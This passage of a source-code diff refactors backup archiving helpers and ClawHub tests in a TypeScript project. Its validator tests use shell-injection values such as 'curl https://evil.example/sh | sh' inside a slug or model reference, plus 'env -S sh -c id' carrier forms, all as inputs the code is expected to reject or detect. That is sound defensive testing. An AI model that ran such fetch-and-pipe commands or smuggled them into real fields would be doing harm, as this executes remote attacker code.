- isCharacterDevice: () => false, - isDirectory: () => false, - isFIFO: () => false, - isFile: () => false, - isSocket: () => false, - isSymbolicLink: () => false, -} as unknown as Stats; - -class BackupVolatileStatCache extends Map { - constructor(private readonly volatilePlan: VolatileFilterPlan) { - super(); - } - - override get(key: string): Stats | undefined { - const cached = super.get(key); - if (cached) { - return cached; - } - // node-tar checks this cache before lstat and applies the filter to a hit. - // A synthetic hit lets known volatile paths disappear without aborting the archive. - return isVolatileBackupPath(key, this.volatilePlan) - ? VOLATILE_BACKUP_SYNTHETIC_STAT - : undefined; - } -} - -function createBackupVolatileStatCache(volatilePlan: VolatileFilterPlan): Map { - return new BackupVolatileStatCache(volatilePlan); -} - export type BackupCreateOptions = { output?: string; dryRun?: boolean; @@ -145,122 +116,6 @@ export type BackupCreateResult = { skippedVolatileCount: number; }; -const BACKUP_TAR_MAX_ATTEMPTS = 3; -// Backoff between attempts: wait 10s before attempt 2, 20s before attempt 3. -const BACKUP_TAR_BACKOFF_MS = [10_000, 20_000]; - -function isTarEofRaceError(err: unknown): boolean { - if (!err || typeof err !== "object") { - return false; - } - const code = (err as NodeJS.ErrnoException).code; - if (code === "EOF") { - return true; - } - // Keep this regex narrow: match only the two tar-specific EOF-class error - // strings thrown by node-tar's WriteEntry#onread (grow and shrink races, - // see node_modules/tar/dist/commonjs/write-entry.js around the - // "did not encounter expected EOF" and "encountered unexpected EOF" - // Object.assign sites), plus the TAR_BAD_ARCHIVE code surfaced by the - // parser on truncated input. A bare /EOF/i alternative also matched - // unrelated SSL/OpenSSL strings like "EOF occurred in violation of - // protocol" and "unexpected eof while reading", causing pointless retries. - const message = (err as Error).message ?? ""; - return /(did not encounter expected|encountered unexpected) EOF|TAR_BAD_ARCHIVE/i.test(message); -} - -type BackupTarRetryLogger = (message: string) => void; - -function resolveBackupTarAttemptTempPath(tempArchivePath: string, attempt: number): string { - return attempt === 1 ? tempArchivePath : `${tempArchivePath}.retry-${attempt}`; -} - -function resolveBackupTarAttemptTempPaths(tempArchivePath: string): string[] { - return Array.from({ length: BACKUP_TAR_MAX_ATTEMPTS }, (_value, index) => - resolveBackupTarAttemptTempPath(tempArchivePath, index + 1), - ); -} - -async function removeBackupTempArchiveBestEffort(tempArchivePath: string): Promise { - await fs.rm(tempArchivePath, { force: true }).catch(() => undefined); -} - -async function writeArchiveStreamToFile(params: { - archivePath: string; - archiveStream: AsyncIterable | NodeJS.ReadableStream; -}): Promise { - // Own both stream lifecycles so a tar read error closes the output handle - // before retry cleanup touches the partial archive. - // Exclusive creation guarantees the 0600 mode belongs to a fresh inode and - // refuses a pre-existing temp path instead of following a symlink. - await pipeline( - params.archiveStream, - createWriteStream(params.archivePath, { flags: "wx", mode: 0o600 }), - ); -} - -async function writeTarArchiveWithRetry(params: { - tempArchivePath: string; - runTar: (tempArchivePath: string) => Promise; - log?: BackupTarRetryLogger; - sleepMs?: (ms: number) => Promise; -}): Promise { - const sleepFn = params.sleepMs ?? sleep; - let lastErr: unknown; - const attemptTempArchivePaths: string[] = []; - for (let attempt = 1; attempt <= BACKUP_TAR_MAX_ATTEMPTS; attempt += 1) { - const attemptTempArchivePath = resolveBackupTarAttemptTempPath(params.tempArchivePath, attempt); - attemptTempArchivePaths.push(attemptTempArchivePath); - try { - await params.runTar(attemptTempArchivePath); - for (const staleTempArchivePath of attemptTempArchivePaths.slice(0, -1)) { - await removeBackupTempArchiveBestEffort(staleTempArchivePath); - } - return attemptTempArchivePath; - } catch (err) { - lastErr = err; - if (!isTarEofRaceError(err) || attempt === BACKUP_TAR_MAX_ATTEMPTS) { - for (const staleTempArchivePath of attemptTempArchivePaths) { - await removeBackupTempArchiveBestEffort(staleTempArchivePath); - } - break; - } - try { - await fs.rm(attemptTempArchivePath, { force: true }); - } catch (cleanupErr) { - const code = (cleanupErr as NodeJS.ErrnoException).code; - if (code && code !== "ENOENT") { - params.log?.( - `Backup archiver could not remove temp archive ${attemptTempArchivePath} between retries: ${code}. Continuing.`, - ); - } - } - const backoff = BACKUP_TAR_BACKOFF_MS[attempt - 1] ?? 0; - const offendingPath = (err as NodeJS.ErrnoException).path; - params.log?.( - `Backup archiver hit a live-write race${ - offendingPath ? ` on ${offendingPath}` : "" - } (attempt ${attempt}/${BACKUP_TAR_MAX_ATTEMPTS}); retrying in ${Math.round(backoff / 1000)}s.`, - ); - await sleepFn(backoff); - } - } - const final = lastErr instanceof Error ? lastErr : new Error(String(lastErr)); - const offendingPath = (lastErr as NodeJS.ErrnoException | undefined)?.path; - const suffix = offendingPath - ? ` (last offending path: ${offendingPath}, after ${BACKUP_TAR_MAX_ATTEMPTS} attempts)` - : ` (after ${BACKUP_TAR_MAX_ATTEMPTS} attempts)`; - throw new Error(`Backup archive write failed: ${final.message}${suffix}`, { cause: final }); -} - -export const testApi = { - writeArchiveStreamToFile, - writeTarArchiveWithRetry, - isTarEofRaceError, - createBackupVolatileStatCache, -}; -export { testApi as __test }; - async function resolveOutputPath(params: { output?: string; nowMs: number; @@ -508,7 +363,7 @@ function normalizeBackupFilterPath(value: string): string { return value.replaceAll("\\", "/").replace(/\/+$/u, ""); } -export function buildExtensionsNodeModulesFilter(stateDir: string): (filePath: string) => boolean { +function buildExtensionsNodeModulesFilter(stateDir: string): (filePath: string) => boolean { const normalizedStateDir = normalizeBackupFilterPath(stateDir); const extensionsPrefix = `${normalizedStateDir}/extensions/`; diff --git a/src/infra/backup-create.windows.test.ts b/src/infra/backup-create.windows.test.ts index 4f83462f811d..3d3085baf05c 100644 --- a/src/infra/backup-create.windows.test.ts +++ b/src/infra/backup-create.windows.test.ts @@ -3,7 +3,7 @@ import path from "node:path"; import { PassThrough } from "node:stream"; import { afterEach, describe, expect, it } from "vitest"; import { useAutoCleanupTempDirTracker } from "../../test/helpers/temp-dir.js"; -import { testApi as backupCreateInternals } from "./backup-create.js"; +import { writeArchiveStreamToFile } from "./backup-create-stream.js"; const tempDirs = useAutoCleanupTempDirTracker(afterEach); @@ -12,7 +12,7 @@ describe("writeArchiveStreamToFile", () => { const tempDir = tempDirs.make("openclaw-backup-stream-"); const archivePath = path.join(tempDir, "partial.tar.gz"); const archiveStream = new PassThrough(); - const writePromise = backupCreateInternals.writeArchiveStreamToFile({ + const writePromise = writeArchiveStreamToFile({ archivePath, archiveStream, }); diff --git a/src/infra/backup-tar-retry.ts b/src/infra/backup-tar-retry.ts new file mode 100644 index 000000000000..c91d8e0aabc8 --- /dev/null +++ b/src/infra/backup-tar-retry.ts @@ -0,0 +1,89 @@ +import fs from "node:fs/promises"; +import { sleep } from "../utils/sleep.js"; + +const BACKUP_TAR_MAX_ATTEMPTS = 3; +const BACKUP_TAR_BACKOFF_MS = [10_000, 20_000]; + +function isTarEofRaceError(err: unknown): boolean { + if (!err || typeof err !== "object") { + return false; + } + const code = (err as NodeJS.ErrnoException).code; + if (code === "EOF") { + return true; + } + // Match only node-tar's grow/shrink race errors and truncated archive code. + // Broad EOF matching also catches unrelated TLS failures and causes pointless retries. + const message = (err as Error).message ?? ""; + return /(did not encounter expected|encountered unexpected) EOF|TAR_BAD_ARCHIVE/i.test(message); +} + +type BackupTarRetryLogger = (message: string) => void; + +function resolveBackupTarAttemptTempPath(tempArchivePath: string, attempt: number): string { + return attempt === 1 ? tempArchivePath : `${tempArchivePath}.retry-${attempt}`; +} + +export function resolveBackupTarAttemptTempPaths(tempArchivePath: string): string[] { + return Array.from({ length: BACKUP_TAR_MAX_ATTEMPTS }, (_value, index) => + resolveBackupTarAttemptTempPath(tempArchivePath, index + 1), + ); +} + +export async function removeBackupTempArchiveBestEffort(tempArchivePath: string): Promise { + await fs.rm(tempArchivePath, { force: true }).catch(() => undefined); +} + +export async function writeTarArchiveWithRetry(params: { + tempArchivePath: string; + runTar: (tempArchivePath: string) => Promise; + log?: BackupTarRetryLogger; + sleepMs?: (ms: number) => Promise; +}): Promise { + const sleepFn = params.sleepMs ?? sleep; + let lastErr: unknown; + const attemptTempArchivePaths: string[] = []; + for (let attempt = 1; attempt <= BACKUP_TAR_MAX_ATTEMPTS; attempt += 1) { + const attemptTempArchivePath = resolveBackupTarAttemptTempPath(params.tempArchivePath, attempt); + attemptTempArchivePaths.push(attemptTempArchivePath); + try { + await params.runTar(attemptTempArchivePath); + for (const staleTempArchivePath of attemptTempArchivePaths.slice(0, -1)) { + await removeBackupTempArchiveBestEffort(staleTempArchivePath); + } + return attemptTempArchivePath; + } catch (err) { + lastErr = err; + if (!isTarEofRaceError(err) || attempt === BACKUP_TAR_MAX_ATTEMPTS) { + for (const staleTempArchivePath of attemptTempArchivePaths) { + await removeBackupTempArchiveBestEffort(staleTempArchivePath); + } + break; + } + try { + await fs.rm(attemptTempArchivePath, { force: true }); + } catch (cleanupErr) { + const code = (cleanupErr as NodeJS.ErrnoException).code; + if (code && code !== "ENOENT") { + params.log?.( + `Backup archiver could not remove temp archive ${attemptTempArchivePath} between retries: ${code}. Continuing.`, + ); + } + } + const backoff = BACKUP_TAR_BACKOFF_MS[attempt - 1] ?? 0; + const offendingPath = (err as NodeJS.ErrnoException).path; + params.log?.( + `Backup archiver hit a live-write race${ + offendingPath ? ` on ${offendingPath}` : "" + } (attempt ${attempt}/${BACKUP_TAR_MAX_ATTEMPTS}); retrying in ${Math.round(backoff / 1000)}s.`, + ); + await sleepFn(backoff); + } + } + const final = lastErr instanceof Error ? lastErr : new Error(String(lastErr)); + const offendingPath = (lastErr as NodeJS.ErrnoException | undefined)?.path; + const suffix = offendingPath + ? ` (last offending path: ${offendingPath}, after ${BACKUP_TAR_MAX_ATTEMPTS} attempts)` + : ` (after ${BACKUP_TAR_MAX_ATTEMPTS} attempts)`; + throw new Error(`Backup archive write failed: ${final.message}${suffix}`, { cause: final }); +} diff --git a/src/infra/backup-volatile-stat-cache.ts b/src/infra/backup-volatile-stat-cache.ts new file mode 100644 index 000000000000..6fe4be9c4950 --- /dev/null +++ b/src/infra/backup-volatile-stat-cache.ts @@ -0,0 +1,38 @@ +import type { Stats } from "node:fs"; +import { isVolatileBackupPath } from "./backup-volatile-filter.js"; + +type VolatileFilterPlan = Parameters[1]; + +const VOLATILE_BACKUP_SYNTHETIC_STAT = { + isBlockDevice: () => false, + isCharacterDevice: () => false, + isDirectory: () => false, + isFIFO: () => false, + isFile: () => false, + isSocket: () => false, + isSymbolicLink: () => false, +} as unknown as Stats; + +class BackupVolatileStatCache extends Map { + constructor(private readonly volatilePlan: VolatileFilterPlan) { + super(); + } + + override get(key: string): Stats | undefined { + const cached = super.get(key); + if (cached) { + return cached; + } + // node-tar consults this cache before lstat. Synthetic hits let known + // volatile paths disappear during a live backup without aborting it. + return isVolatileBackupPath(key, this.volatilePlan) + ? VOLATILE_BACKUP_SYNTHETIC_STAT + : undefined; + } +} + +export function createBackupVolatileStatCache( + volatilePlan: VolatileFilterPlan, +): Map { + return new BackupVolatileStatCache(volatilePlan); +} diff --git a/src/infra/browser-open.test.ts b/src/infra/browser-open.test.ts index 7660ccdf4521..ab13d5fa6de3 100644 --- a/src/infra/browser-open.test.ts +++ b/src/infra/browser-open.test.ts @@ -2,20 +2,29 @@ import path from "node:path"; import { afterEach, describe, expect, it, vi } from "vitest"; -const detectBinaryMock = vi.hoisted(() => vi.fn(async () => false)); +const { detectBinaryMock, getWindowsInstallRootsMock } = vi.hoisted(() => ({ + detectBinaryMock: vi.fn(async () => false), + getWindowsInstallRootsMock: vi.fn(() => ({ systemRoot: "C:\\Windows" })), +})); vi.mock("./detect-binary.js", () => ({ detectBinary: detectBinaryMock, })); +vi.mock("./windows-install-roots.js", async () => { + const actual = await vi.importActual( + "./windows-install-roots.js", + ); + return { ...actual, getWindowsInstallRoots: getWindowsInstallRootsMock }; +}); + import { resolveBrowserOpenCommand } from "./browser-open.js"; -import { resetWindowsInstallRootsForTests } from "./windows-install-roots.js"; afterEach(() => { vi.restoreAllMocks(); vi.unstubAllEnvs(); detectBinaryMock.mockReset().mockResolvedValue(false); - resetWindowsInstallRootsForTests(); + getWindowsInstallRootsMock.mockReset().mockReturnValue({ systemRoot: "C:\\Windows" }); }); describe("resolveBrowserOpenCommand", () => { @@ -23,7 +32,6 @@ describe("resolveBrowserOpenCommand", () => { vi.spyOn(process, "platform", "get").mockReturnValue("win32"); vi.stubEnv("SystemRoot", ".\\fake-root"); vi.stubEnv("windir", ".\\fake-windir"); - resetWindowsInstallRootsForTests({ queryRegistryValue: () => null }); const resolved = await resolveBrowserOpenCommand(); @@ -33,19 +41,9 @@ describe("resolveBrowserOpenCommand", () => { }); it("prefers the registry-backed Windows system root over process env", async () => { + getWindowsInstallRootsMock.mockReturnValue({ systemRoot: "D:\\Windows" }); vi.spyOn(process, "platform", "get").mockReturnValue("win32"); vi.stubEnv("SystemRoot", "C:\\PoisonedWindows"); - resetWindowsInstallRootsForTests({ - queryRegistryValue: (key, valueName) => { - if ( - key === "HKLM\\SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion" && - valueName === "SystemRoot" - ) { - return "D:\\Windows"; - } - return null; - }, - }); const resolved = await resolveBrowserOpenCommand(); diff --git a/src/infra/clawhub-install-trust.ts b/src/infra/clawhub-install-trust.ts index 0bd949f9e8b1..b7582f8397d0 100644 --- a/src/infra/clawhub-install-trust.ts +++ b/src/infra/clawhub-install-trust.ts @@ -33,7 +33,7 @@ export type ClawHubRiskAcknowledgementRequest = { warning: string; }; -export type ClawHubTrustInstallRecordFields = { +type ClawHubTrustInstallRecordFields = { clawhubTrustDisposition: "clean" | "review-recommended" | "review-required" | "blocked"; clawhubTrustScanStatus?: string; clawhubTrustModerationState?: string; @@ -44,13 +44,13 @@ export type ClawHubTrustInstallRecordFields = { clawhubTrustAcknowledgedAt?: string; }; -export type ClawHubTrustAcceptedResult = { +type ClawHubTrustAcceptedResult = { ok: true; trustInstallRecordFields: ClawHubTrustInstallRecordFields; warning?: string; }; -export type ClawHubTrustFailure = { +type ClawHubTrustFailure = { ok: false; error: string; code?: ClawHubTrustErrorCode; diff --git a/src/infra/clawhub.promotions.test.ts b/src/infra/clawhub.promotions.test.ts index 64dc41bffebe..df9abc5a6cb0 100644 --- a/src/infra/clawhub.promotions.test.ts +++ b/src/infra/clawhub.promotions.test.ts @@ -4,7 +4,6 @@ import { fetchClawHubPromotion, fetchClawHubPromotions, fetchClawHubPromotionsFeed, - parseClawHubPromotion, parseClawHubPromotionsFeed, } from "./clawhub.js"; @@ -25,65 +24,50 @@ const validPromotion = { signupUrl: "https://signup.example.com", }; -describe("parseClawHubPromotion", () => { - it("parses a full promotion payload", () => { - const parsed = parseClawHubPromotion({ - ...validPromotion, - pluginNames: ["@openclaw/openrouter-provider"], +describe("promotion payload validation", () => { + async function expectPromotionRejected( + overrides: Record, + expected: RegExp, + ): Promise { + mockHttp.intercept({ + url: `${CLAWHUB_URL}/api/v1/promotions/spring-models`, + reply: { json: { ...validPromotion, ...overrides } }, }); - expect(parsed.slug).toBe("spring-models"); - expect(parsed.models[0]?.suggestedDefault).toBe(true); - expect(parsed.pluginNames).toEqual(["@openclaw/openrouter-provider"]); + await expect(fetchClawHubPromotion({ slug: "spring-models" })).rejects.toThrow(expected); + } + + it("rejects payloads without models", async () => { + await expectPromotionRejected({ models: [] }, /models/); }); - it("rejects payloads without models", () => { - expect(() => parseClawHubPromotion({ ...validPromotion, models: [] })).toThrow(/models/); + it("rejects slugs outside ClawHub's slug contract", async () => { + await expectPromotionRejected({ slug: "deal; curl evil.sh|sh" }, /slug/); }); - it("rejects slugs outside ClawHub's slug contract", () => { - // Slugs are echoed into copy-paste commands; shell metacharacters must fail parsing. - expect(() => - parseClawHubPromotion({ ...validPromotion, slug: "deal; curl evil.sh|sh" }), - ).toThrow(/slug/); - expect(() => parseClawHubPromotion({ ...validPromotion, slug: "UPPER-case" })).toThrow(/slug/); - }); - - it("rejects model refs with shell metacharacters", () => { - expect(() => - parseClawHubPromotion({ - ...validPromotion, - models: [{ modelRef: "openrouter/foo; curl https://evil.example/sh | sh" }], - }), - ).toThrow(/unsupported characters/); - }); - - it("rejects non-string model refs", () => { - expect(() => parseClawHubPromotion({ ...validPromotion, models: [{ modelRef: 42 }] })).toThrow( - /modelRef/, + it("rejects model refs with shell metacharacters", async () => { + await expectPromotionRejected( + { models: [{ modelRef: "openrouter/foo; curl https://evil.example/sh | sh" }] }, + /unsupported characters/, ); }); - it("rejects non-numeric windows", () => { - expect(() => parseClawHubPromotion({ ...validPromotion, endsAt: "soon" })).toThrow(/endsAt/); + it("rejects non-string model refs", async () => { + await expectPromotionRejected({ models: [{ modelRef: 42 }] }, /modelRef/); }); - it("rejects inverted promotion windows", () => { - expect(() => - parseClawHubPromotion({ - ...validPromotion, - startsAt: 200, - endsAt: 200, - }), - ).toThrow(/window/); + it("rejects non-numeric windows", async () => { + await expectPromotionRejected({ endsAt: "soon" }, /endsAt/); }); - it("rejects plugin values that are not package names", () => { - expect(() => - parseClawHubPromotion({ - ...validPromotion, - pluginNames: ["@openclaw/openrouter-provider@latest"], - }), - ).toThrow(/pluginNames/); + it("rejects inverted promotion windows", async () => { + await expectPromotionRejected({ startsAt: 200, endsAt: 200 }, /window/); + }); + + it("rejects plugin values that are not package names", async () => { + await expectPromotionRejected( + { pluginNames: ["@openclaw/openrouter-provider@latest"] }, + /pluginNames/, + ); }); }); diff --git a/src/infra/clawhub.test.ts b/src/infra/clawhub.test.ts index 7df55eea6c1c..3d2675707d0e 100644 --- a/src/infra/clawhub.test.ts +++ b/src/infra/clawhub.test.ts @@ -22,7 +22,6 @@ import { normalizeClawHubSha256Integrity, normalizeClawHubSha256Hex, parseClawHubPluginSpec, - resolveClawHubAuthToken, resolveLatestVersionFromPackage, satisfiesGatewayMinimum, satisfiesPluginApiRange, @@ -159,6 +158,21 @@ const oversizedArchiveCases: Array<{ describe("clawhub helpers", () => { const originalEnv = captureEnv(["HOME", "XDG_CONFIG_HOME"]); + async function expectSearchUsesAuthToken(expectedToken: string): Promise { + await expect( + searchClawHubSkills({ + query: "calendar", + fetchImpl: async (_input, init) => { + expect(new Headers(init?.headers).get("Authorization")).toBe(`Bearer ${expectedToken}`); + return new Response(JSON.stringify({ results: [] }), { + status: 200, + headers: { "content-type": "application/json" }, + }); + }, + }), + ).resolves.toStrictEqual([]); + } + afterEach(() => { delete process.env.OPENCLAW_CLAWHUB_URL; delete process.env.CLAWHUB_TOKEN; @@ -301,29 +315,29 @@ describe("clawhub helpers", () => { expect(normalizeClawHubSha256Hex("not-a-hash")).toBeNull(); }); - it("resolves ClawHub auth token from config.json", async () => { + it("loads ClawHub request auth from config.json", async () => { await withTempDir({ prefix: "openclaw-clawhub-config-" }, async (configRoot) => { const configPath = path.join(configRoot, "clawhub", "config.json"); process.env.CLAWHUB_CONFIG_PATH = configPath; await fs.mkdir(path.dirname(configPath), { recursive: true }); await fs.writeFile(configPath, JSON.stringify({ auth: { token: "cfg-token-123" } }), "utf8"); - await expect(resolveClawHubAuthToken()).resolves.toBe("cfg-token-123"); + await expectSearchUsesAuthToken("cfg-token-123"); }); }); - it("resolves ClawHub auth token from the legacy config path override", async () => { + it("loads ClawHub request auth from the legacy config path override", async () => { await withTempDir({ prefix: "openclaw-clawdhub-config-" }, async (configRoot) => { const configPath = path.join(configRoot, "config.json"); process.env.CLAWDHUB_CONFIG_PATH = configPath; await fs.writeFile(configPath, JSON.stringify({ token: "legacy-token-123" }), "utf8"); - await expect(resolveClawHubAuthToken()).resolves.toBe("legacy-token-123"); + await expectSearchUsesAuthToken("legacy-token-123"); }); }); it.runIf(process.platform === "darwin")( - "resolves ClawHub auth token from the macOS Application Support path", + "loads ClawHub request auth from the macOS Application Support path", async () => { await withTempDir({ prefix: "openclaw-clawhub-home-" }, async (fakeHome) => { const configPath = path.join( @@ -338,7 +352,7 @@ describe("clawhub helpers", () => { await fs.mkdir(path.dirname(configPath), { recursive: true }); await fs.writeFile(configPath, JSON.stringify({ token: "macos-token-123" }), "utf8"); - await expect(resolveClawHubAuthToken()).resolves.toBe("macos-token-123"); + await expectSearchUsesAuthToken("macos-token-123"); } finally { homedirSpy.mockRestore(); } @@ -347,7 +361,7 @@ describe("clawhub helpers", () => { ); it.runIf(process.platform === "darwin")( - "falls back to XDG_CONFIG_HOME on macOS when Application Support has no config", + "falls back to XDG_CONFIG_HOME for ClawHub request auth on macOS", async () => { await withTempDir({ prefix: "openclaw-clawhub-home-" }, async (fakeHome) => { await withTempDir({ prefix: "openclaw-clawhub-xdg-" }, async (xdgRoot) => { @@ -358,7 +372,7 @@ describe("clawhub helpers", () => { await fs.mkdir(path.dirname(configPath), { recursive: true }); await fs.writeFile(configPath, JSON.stringify({ token: "xdg-token-123" }), "utf8"); - await expect(resolveClawHubAuthToken()).resolves.toBe("xdg-token-123"); + await expectSearchUsesAuthToken("xdg-token-123"); } finally { homedirSpy.mockRestore(); } diff --git a/src/infra/clawhub.ts b/src/infra/clawhub.ts index b1334a570ef2..e617f6503396 100644 --- a/src/infra/clawhub.ts +++ b/src/infra/clawhub.ts @@ -44,13 +44,13 @@ export type ClawHubPackageCompatibility = { pluginSdkVersion?: string; minGatewayVersion?: string; }; -export type ClawHubPackageHostTarget = { +type ClawHubPackageHostTarget = { os?: string | null; arch?: string | null; libc?: string | null; key?: string | null; }; -export type ClawHubPackageEnvironmentSummary = { +type ClawHubPackageEnvironmentSummary = { requiresLocalDesktop?: boolean; requiresBrowser?: boolean; requiresAudioDevice?: boolean; @@ -74,14 +74,14 @@ export type ClawHubPackageArtifactSummary = { tarballUrl?: string | null; legacyDownloadUrl?: string | null; }; -export type ClawHubArtifactScanState = +type ClawHubArtifactScanState = | "pending" | "clean" | "suspicious" | "malicious" | "not-run" | (string & {}); -export type ClawHubArtifactModerationState = "approved" | "quarantined" | "revoked" | (string & {}); +type ClawHubArtifactModerationState = "approved" | "quarantined" | "revoked" | (string & {}); export type ClawHubPackageSecurityTrust = { scanStatus?: ClawHubArtifactScanState | null; moderationState?: ClawHubArtifactModerationState | null; @@ -164,7 +164,7 @@ export type ClawHubPackageClawPackSummary = { environment?: ClawHubPackageEnvironmentSummary | null; runtimeBundles?: unknown[]; }; -export type ClawHubPackageListItem = { +type ClawHubPackageListItem = { name: string; displayName: string; family: ClawHubPackageFamily; @@ -343,7 +343,7 @@ export type ClawHubSkillInstallResolutionResponse = status: number; }; -export type ClawHubSkillVerificationDecision = "pass" | "fail" | (string & {}); +type ClawHubSkillVerificationDecision = "pass" | "fail" | (string & {}); export type ClawHubSkillVerificationResponse = { schema: "clawhub.skill.verify.v1"; @@ -366,7 +366,7 @@ export type ClawHubSkillVerificationResponse = { signature: unknown; }; -export type ClawHubSkillSecurityVerdictRequestItem = { +type ClawHubSkillSecurityVerdictRequestItem = { slug: string; ownerHandle?: string; version: string; @@ -394,7 +394,7 @@ export type ClawHubSkillSecurityVerdictItem = { }; }; -export type ClawHubSkillSecurityVerdictsResponse = { +type ClawHubSkillSecurityVerdictsResponse = { schema: "clawhub.skill.security-verdicts.v1"; items: ClawHubSkillSecurityVerdictItem[]; }; @@ -514,7 +514,7 @@ function resolveClawHubConfigPaths(): string[] { return [xdgPath]; } -export async function resolveClawHubAuthToken(): Promise { +async function resolveClawHubAuthToken(): Promise { const envToken = normalizeOptionalString(process.env.CLAWHUB_TOKEN) || normalizeOptionalString(process.env.CLAWHUB_AUTH_TOKEN); @@ -1711,7 +1711,7 @@ export function satisfiesGatewayMinimum( // validated against the local provider catalog by the caller before any // install/auth action, so a malformed or hostile record cannot execute code. -export type ClawHubPromotionModel = { +type ClawHubPromotionModel = { modelRef: string; alias?: string; suggestedDefault?: boolean; @@ -1740,7 +1740,7 @@ export type ClawHubPromotion = { // clients still window-filter on startsAt/endsAt). export type ClawHubPromotionsFeedEntry = Omit; -export type ClawHubPromotionsFeed = { +type ClawHubPromotionsFeed = { schemaVersion: number; id: string; generatedAt: string; @@ -1846,7 +1846,7 @@ function parseClawHubPromotionCore( return promotion; } -export function parseClawHubPromotion(value: unknown): ClawHubPromotion { +function parseClawHubPromotion(value: unknown): ClawHubPromotion { const context = "promotion"; if (!isJsonObject(value)) { throw new Error(`Malformed ClawHub ${context}: expected an object.`); @@ -1946,7 +1946,7 @@ export function parseClawHubPromotionsFeed(value: unknown): ClawHubPromotionsFee return { schemaVersion, id, generatedAt, sequence, expiresAt, entries }; } -export type ClawHubPromotionsFeedFetchResult = +type ClawHubPromotionsFeedFetchResult = | { status: "not-modified" } | { status: "ok"; feed: ClawHubPromotionsFeed; payload: string; etag?: string }; diff --git a/src/infra/command-analysis/explain.test.ts b/src/infra/command-analysis/explain.test.ts index 22261a6e3e3e..6830f1735ea6 100644 --- a/src/infra/command-analysis/explain.test.ts +++ b/src/infra/command-analysis/explain.test.ts @@ -1,48 +1,9 @@ // Covers command-analysis summary formatting for parsed shell explanations and // policy-only argv/shell segment analysis. import { describe, expect, it } from "vitest"; -import { explainShellCommand } from "../command-explainer/index.js"; -import { - explainCommandForDisplay, - resolveCommandAnalysisSummaryForDisplay, - summarizeCommandExplanation, - summarizeCommandSegmentsForDisplay, -} from "./explain.js"; +import { resolveCommandAnalysisSummaryForDisplay } from "./explain.js"; describe("command-analysis explanation summary", () => { - it("summarizes commands and risk kinds", async () => { - const explanation = await explainShellCommand(`bash -lc 'python3 -c "print(1)"'`); - const summary = summarizeCommandExplanation(explanation); - - expect(summary.commandCount).toBe(1); - expect(summary.riskKinds).toEqual(["shell-wrapper", "inline-eval"]); - expect(summary.warningLines).toEqual([ - "Contains shell-wrapper: bash -lc", - "Contains inline-eval: python3 -c", - ]); - }); - - it("loads the rich command explainer for rich display summaries", async () => { - const result = await explainCommandForDisplay(`bash -lc 'python3 -c "print(1)"'`); - - expect(result?.summary.commandCount).toBe(1); - expect(result?.summary.riskKinds).toEqual(["shell-wrapper", "inline-eval"]); - }); - - it("summarizes policy command segments without async parsing", () => { - const summary = summarizeCommandSegmentsForDisplay([ - { - raw: "sudo python3 -c 'print(1)'", - argv: ["sudo", "python3", "-c", "print(1)"], - resolution: null, - }, - ]); - - expect(summary.commandCount).toBe(1); - expect(summary.riskKinds).toEqual(["inline-eval"]); - expect(summary.warningLines).toEqual(["Contains inline-eval: python3 -c"]); - }); - it("resolves node display summaries from argv", async () => { const summary = await resolveCommandAnalysisSummaryForDisplay({ host: "node", diff --git a/src/infra/command-analysis/explain.ts b/src/infra/command-analysis/explain.ts index bf33d3600e30..013acd2d5bf7 100644 --- a/src/infra/command-analysis/explain.ts +++ b/src/infra/command-analysis/explain.ts @@ -35,9 +35,7 @@ function riskLabel(risk: CommandRisk): string { } /** Summarizes parsed shell-command explanation data for display. */ -export function summarizeCommandExplanation( - explanation: CommandExplanation, -): CommandExplanationSummary { +function summarizeCommandExplanation(explanation: CommandExplanation): CommandExplanationSummary { const riskKinds = uniqueStrings(explanation.risks.map((risk) => risk.kind)); const warningLines = explanation.risks.map((risk) => { const label = riskLabel(risk); @@ -51,7 +49,7 @@ export function summarizeCommandExplanation( }; } -export function summarizeCommandSegmentsForDisplay( +function summarizeCommandSegmentsForDisplay( segments: readonly ExecCommandSegment[], ): CommandExplanationSummary { const riskKinds: string[] = []; @@ -118,7 +116,7 @@ export async function resolveCommandAnalysisSummaryForDisplay(params: { }; } -export async function explainCommandForDisplay( +async function explainCommandForDisplay( command: string, ): Promise<{ explanation: CommandExplanation; summary: CommandExplanationSummary } | null> { try { diff --git a/src/infra/command-analysis/policy.ts b/src/infra/command-analysis/policy.ts index 10de674b3003..4f3861971726 100644 --- a/src/infra/command-analysis/policy.ts +++ b/src/infra/command-analysis/policy.ts @@ -8,7 +8,7 @@ import { import { detectInlineEvalInSegments } from "./risks.js"; /** Normalized policy analysis result for argv and shell commands. */ -export type CommandPolicyAnalysis = +type CommandPolicyAnalysis = | { ok: true; source: "argv" | "shell"; diff --git a/src/infra/command-analysis/risks.test.ts b/src/infra/command-analysis/risks.test.ts index 1220ad28d2e1..abe6aa6761d4 100644 --- a/src/infra/command-analysis/risks.test.ts +++ b/src/infra/command-analysis/risks.test.ts @@ -5,7 +5,6 @@ import { buildCommandPayloadCandidates, detectCarriedShellBuiltinArgv, detectCommandCarrierArgv, - detectEnvSplitStringFlag, detectInlineEvalArgv, detectInlineEvalInSegments, detectShellWrapperThroughCarrierArgv, @@ -130,15 +129,15 @@ describe("command-analysis risks", () => { ]); }); - it("detects env split-string flag forms", () => { - expect(detectEnvSplitStringFlag(["env", "-S", "sh -c id"])).toBe("-S"); - expect(detectEnvSplitStringFlag(["env", "-Ssh -c id"])).toBe("-S"); - expect(detectEnvSplitStringFlag(["env", "-iS", "sh -c id"])).toBe("-S"); - expect(detectEnvSplitStringFlag(["env", "-iSsh -c id"])).toBe("-S"); - expect(detectEnvSplitStringFlag(["env", "-is", "sh -c id"])).toBe("-s"); - expect(detectEnvSplitStringFlag(["env", "--split-string=sh -c id"])).toBe("--split-string"); - expect(detectEnvSplitStringFlag(["env", "sh", "-c", "id"])).toBeNull(); - expect(detectEnvSplitStringFlag(["env", "-XSsh -c id"])).toBeNull(); + it.each([ + { args: ["-S", "sh -c id"], flag: "-S" }, + { args: ["-Ssh -c id"], flag: "-S" }, + { args: ["-iS", "sh -c id"], flag: "-S" }, + { args: ["-iSsh -c id"], flag: "-S" }, + { args: ["-is", "sh -c id"], flag: "-s" }, + { args: ["--split-string=sh -c id"], flag: "--split-string" }, + ])("detects env split-string carrier form $args", ({ args, flag }) => { + expect(detectCommandCarrierArgv(["env", ...args])).toEqual([{ command: "env", flag }]); }); it("detects shell wrappers carried through prefix commands", () => { diff --git a/src/infra/command-analysis/risks.ts b/src/infra/command-analysis/risks.ts index 39114f3e49a7..2defb1a2a3f0 100644 --- a/src/infra/command-analysis/risks.ts +++ 